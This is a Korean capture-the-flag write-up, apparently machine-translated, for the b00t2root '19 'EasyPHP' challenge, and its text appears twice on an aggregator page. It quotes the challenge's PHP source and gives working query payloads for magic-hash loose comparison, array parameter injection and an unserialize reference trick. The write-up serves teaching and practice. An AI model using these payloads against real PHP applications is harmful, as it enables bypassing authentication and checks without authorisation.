[b00t2root '19] Writeup (EasyPHP)
소개
b00t2root'19 의 Writeup입니다.
EasyPHP
문제 내용
작성된 URL로 이동하면 해당 페이지의 소스 코드가 표시됩니다.
플래그 표시까지 3단계로 되어 있습니다. 차례로 살펴 보겠습니다.
첫 단계
$str1 = $_GET['1'];
if(isset($_GET['1'])){
if($str1 == md5($str1)){
echo $flag1;
}
else{
die();
}
}
else{
die();
}
입력한 문자열과 해당 문자열의 MD5 해시 값이 일치하면 플래그 중 첫 번째가 표시됩니다.
그러나 그러한 문자열을 찾는 것은 어려운 일입니다.
그래서 코드를 잘 살펴보면 비교하고 있는 부분의 이콜이 3개가 아니라 2개가 되어 있습니다.
이콜 2개의 비교 연산자는 「완만한 비교」라고 불려, PHP측이 적절히 캐스트를 실시하고 나서 비교를 실시합니다.
예를 들어, '3'=='3.0'
는 True 입니다. ( '3'==='3.0'
는 문자열 그대로 비교하기 때문에 False입니다)
즉, 이 성질을 이용하면 문자열과 MD5 해시값이 엄밀하게 일치하지 않아도 돌파할 수 있을 것 같습니다.
그렇다면 어떤 MD5 해시 값을 찾아야합니까?
PHP에서 숫자를 표현하는 몇 가지 방법이 있으며, 그 중 하나는 부동 소수점 숫자 지수 표기법입니다.
이것은 1.2e3 (=1.2*10^3)
와 같은 표현 방법입니다.
이 지수 표기법에서 0e + (数値)
는 모두 0입니다.
즉, MD5 해시 값이 0e + (数値)
가 되는 0e + (数値)
의 형태의 캐릭터 라인을 찾습니다.
여기 기사 에서 0e215962017
가 해당하는 것 같습니다.
URL에 ?1=0e215962017
를 추가하면 b00t2root{wh4t3v3r_
가 표시됩니다.
두 번째 단계
$str2 = $_GET['2'];
$str3 = $_GET['3'];
if(isset($_GET['2']) && isset($_GET['3'])){
if($str2 !== $str3){
if(hash('md5', $salt . $str2) == hash('md5', $salt . $str3)){
echo $flag2;
}
else{
die();
}
}
else{
die();
}
}
else{
die();
}
입력한 두 문자열의 시작 부분에 문자열 $salt
를 결합한 후 해시 값이 계산되고 일치하는 경우 플래그의 두 번째가 표시됩니다.
그러나 입력하는 두 문자열은 달라야 합니다.
처음은 해시 신장 공격인가? 라고 생각했습니다만, 해시값이 표시되지 않기 때문에 이것이 아닐 것 같습니다.
여기서 $str2,$str3
가 문자열 이외가 될 가능성을 생각해 봅시다.
예를 들어 배열이었다면 $salt . $str
는 어떻게 될까요?
시도하면 'test' . array('a','b')
는 'testArray'
입니다.
즉, $str2,$str3
가 다른 배열이 되면, 플래그가 표시됩니다.
그렇다면 어떻게 배열이 될까요?
PHP에서는 파라미터 송신시에 param[]
로 하면(자) $_GET['param']
로 배열로서 받습니다.2[]='a'
, 3[]='b'
하면 $str2 = array(1) { [0]=> string(1) "a"}
, $str3 = array(1) { [0]=> string(1) "b"}
가 되어 다른 배열이 됩니다.
URL에 &2[]=a&3[]=b
를 추가하면 b00t2root{wh4t3v3r_17_74k3s
가 표시됩니다.
세 번째 단계
class Secrets {
var $temp;
var $flag;
}
if (isset($_GET['4'])) {
$str4 = $_GET['4'];
if(get_magic_quotes_gpc()){
$str4=stripslashes($str4);
}
$res = unserialize($str4);
if ($res) {
$res->flag=$flag3;
if ($res->flag === $res->temp)
echo $res->flag;
else
die();
}
else die();
}
unserialize
에서 Secrets 클래스의 객체를 만든 후에 $flag
속성에 플래그가 할당되고, 그것이 $temp
속성과 같으면 플래그가 표시됩니다.
엄격한 비교이므로 첫 단계처럼 할 수 없습니다. 그렇다면 어떻게 해야 하나요?
가장 먼저 생각하는 것은 하나의 속성이 다른 속성을 참조하게하는 것입니다.
이번에는 $flag
에 $temp
를 참조하자.
하지만 그런 일을 할 수 있는가?
unserialize
에 대해 조사하면, 참조형이 있는 것 같습니다. ( 참고 )
예를 들어, a:2:{s:3:"1st";i:100;s:3:"2nd";R:2;}
는 $2nd
가 $1st
를 참조합니다.
여러가지 시도했는데, a:2:{s:3:"1st";R:3:100;s:3:"2nd";i:100;}
와 같이 뒤의 프로퍼티의 참조는 할 수 없는 것 같습니다.
이상을 근거로 하면 $flag
가 $temp
를 참조하는 직렬화 데이터는 O:7:"Secrets":2:{s:4:"temp";N;s:4:"flag";R:2;}
가 됩니다.
URL에 4=O:7:%22Secrets%22:2:{s:4:%22temp%22;N;s:4:%22flag%22;R:2;}
를 추가하면 b00t2root{wh4t3v3r_17_74k3s_cuz_1_l0v3_th3_4dren4l1n3_1n_my_v31ns_932b315}
가 표시되어 플래그를 획득 할 수 있습니다.
Reference
이 문제에 관하여([b00t2root '19] Writeup (EasyPHP)), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다
https://qiita.com/LorseKudos/items/ba975d126b0b32841f12
텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념
(Collection and Share based on the CC Protocol.)
문제 내용
작성된 URL로 이동하면 해당 페이지의 소스 코드가 표시됩니다.
플래그 표시까지 3단계로 되어 있습니다. 차례로 살펴 보겠습니다.
첫 단계
$str1 = $_GET['1'];
if(isset($_GET['1'])){
if($str1 == md5($str1)){
echo $flag1;
}
else{
die();
}
}
else{
die();
}
입력한 문자열과 해당 문자열의 MD5 해시 값이 일치하면 플래그 중 첫 번째가 표시됩니다.
그러나 그러한 문자열을 찾는 것은 어려운 일입니다.
그래서 코드를 잘 살펴보면 비교하고 있는 부분의 이콜이 3개가 아니라 2개가 되어 있습니다.
이콜 2개의 비교 연산자는 「완만한 비교」라고 불려, PHP측이 적절히 캐스트를 실시하고 나서 비교를 실시합니다.
예를 들어,
'3'=='3.0'
는 True 입니다. ( '3'==='3.0'
는 문자열 그대로 비교하기 때문에 False입니다)즉, 이 성질을 이용하면 문자열과 MD5 해시값이 엄밀하게 일치하지 않아도 돌파할 수 있을 것 같습니다.
그렇다면 어떤 MD5 해시 값을 찾아야합니까?
PHP에서 숫자를 표현하는 몇 가지 방법이 있으며, 그 중 하나는 부동 소수점 숫자 지수 표기법입니다.
이것은
1.2e3 (=1.2*10^3)
와 같은 표현 방법입니다.이 지수 표기법에서
0e + (数値)
는 모두 0입니다.즉, MD5 해시 값이
0e + (数値)
가 되는 0e + (数値)
의 형태의 캐릭터 라인을 찾습니다.여기 기사 에서
0e215962017
가 해당하는 것 같습니다.URL에
?1=0e215962017
를 추가하면 b00t2root{wh4t3v3r_
가 표시됩니다.두 번째 단계
$str2 = $_GET['2'];
$str3 = $_GET['3'];
if(isset($_GET['2']) && isset($_GET['3'])){
if($str2 !== $str3){
if(hash('md5', $salt . $str2) == hash('md5', $salt . $str3)){
echo $flag2;
}
else{
die();
}
}
else{
die();
}
}
else{
die();
}
입력한 두 문자열의 시작 부분에 문자열
$salt
를 결합한 후 해시 값이 계산되고 일치하는 경우 플래그의 두 번째가 표시됩니다.그러나 입력하는 두 문자열은 달라야 합니다.
처음은 해시 신장 공격인가? 라고 생각했습니다만, 해시값이 표시되지 않기 때문에 이것이 아닐 것 같습니다.
여기서
$str2,$str3
가 문자열 이외가 될 가능성을 생각해 봅시다.예를 들어 배열이었다면
$salt . $str
는 어떻게 될까요?시도하면
'test' . array('a','b')
는 'testArray'
입니다.즉,
$str2,$str3
가 다른 배열이 되면, 플래그가 표시됩니다.그렇다면 어떻게 배열이 될까요?
PHP에서는 파라미터 송신시에
param[]
로 하면(자) $_GET['param']
로 배열로서 받습니다.2[]='a'
, 3[]='b'
하면 $str2 = array(1) { [0]=> string(1) "a"}
, $str3 = array(1) { [0]=> string(1) "b"}
가 되어 다른 배열이 됩니다.URL에
&2[]=a&3[]=b
를 추가하면 b00t2root{wh4t3v3r_17_74k3s
가 표시됩니다.세 번째 단계
class Secrets {
var $temp;
var $flag;
}
if (isset($_GET['4'])) {
$str4 = $_GET['4'];
if(get_magic_quotes_gpc()){
$str4=stripslashes($str4);
}
$res = unserialize($str4);
if ($res) {
$res->flag=$flag3;
if ($res->flag === $res->temp)
echo $res->flag;
else
die();
}
else die();
}
unserialize
에서 Secrets 클래스의 객체를 만든 후에 $flag
속성에 플래그가 할당되고, 그것이 $temp
속성과 같으면 플래그가 표시됩니다.엄격한 비교이므로 첫 단계처럼 할 수 없습니다. 그렇다면 어떻게 해야 하나요?
가장 먼저 생각하는 것은 하나의 속성이 다른 속성을 참조하게하는 것입니다.
이번에는
$flag
에 $temp
를 참조하자.하지만 그런 일을 할 수 있는가?
unserialize
에 대해 조사하면, 참조형이 있는 것 같습니다. ( 참고 )예를 들어,
a:2:{s:3:"1st";i:100;s:3:"2nd";R:2;}
는 $2nd
가 $1st
를 참조합니다.여러가지 시도했는데,
a:2:{s:3:"1st";R:3:100;s:3:"2nd";i:100;}
와 같이 뒤의 프로퍼티의 참조는 할 수 없는 것 같습니다.이상을 근거로 하면
$flag
가 $temp
를 참조하는 직렬화 데이터는 O:7:"Secrets":2:{s:4:"temp";N;s:4:"flag";R:2;}
가 됩니다.URL에
4=O:7:%22Secrets%22:2:{s:4:%22temp%22;N;s:4:%22flag%22;R:2;}
를 추가하면 b00t2root{wh4t3v3r_17_74k3s_cuz_1_l0v3_th3_4dren4l1n3_1n_my_v31ns_932b315}
가 표시되어 플래그를 획득 할 수 있습니다.
Reference
이 문제에 관하여([b00t2root '19] Writeup (EasyPHP)), 우리는 이곳에서 더 많은 자료를 발견하고 링크를 클릭하여 보았다 https://qiita.com/LorseKudos/items/ba975d126b0b32841f12텍스트를 자유롭게 공유하거나 복사할 수 있습니다.하지만 이 문서의 URL은 참조 URL로 남겨 두십시오.
우수한 개발자 콘텐츠 발견에 전념 (Collection and Share based on the CC Protocol.)